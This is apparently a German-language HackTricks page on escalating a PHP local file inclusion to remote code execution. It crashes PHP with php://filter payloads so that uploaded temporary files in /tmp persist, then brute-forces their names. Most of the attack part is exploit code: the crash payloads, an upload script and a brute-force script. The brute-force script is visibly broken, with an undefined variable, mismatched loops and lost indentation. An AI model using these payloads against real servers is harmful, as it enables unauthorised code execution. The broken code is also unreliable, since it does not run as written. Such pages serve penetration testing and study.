LFI2RCE via Segmentation Fault

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Gemäß den Writeups https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (zweiter Teil) und https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view führten die folgenden Payloads zu einem Segmentation Fault in PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Sie sollten wissen, dass wenn Sie eine POST-Anfrage mit einer Datei senden, PHP eine temporäre Datei in /tmp/php<etwas> mit dem Inhalt dieser Datei erstellt. Diese Datei wird automatisch gelöscht, sobald die Anfrage verarbeitet wurde.

Wenn Sie eine LFI finden und es Ihnen gelingt, einen Segmentation Fault in PHP auszulösen, wird die temporäre Datei niemals gelöscht. Daher können Sie mit der LFI-Schwachstelle nach ihr suchen, bis Sie sie finden und beliebigen Code ausführen können.

Sie können das Docker-Image https://hub.docker.com/r/easyengine/php7.0 für Tests verwenden.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated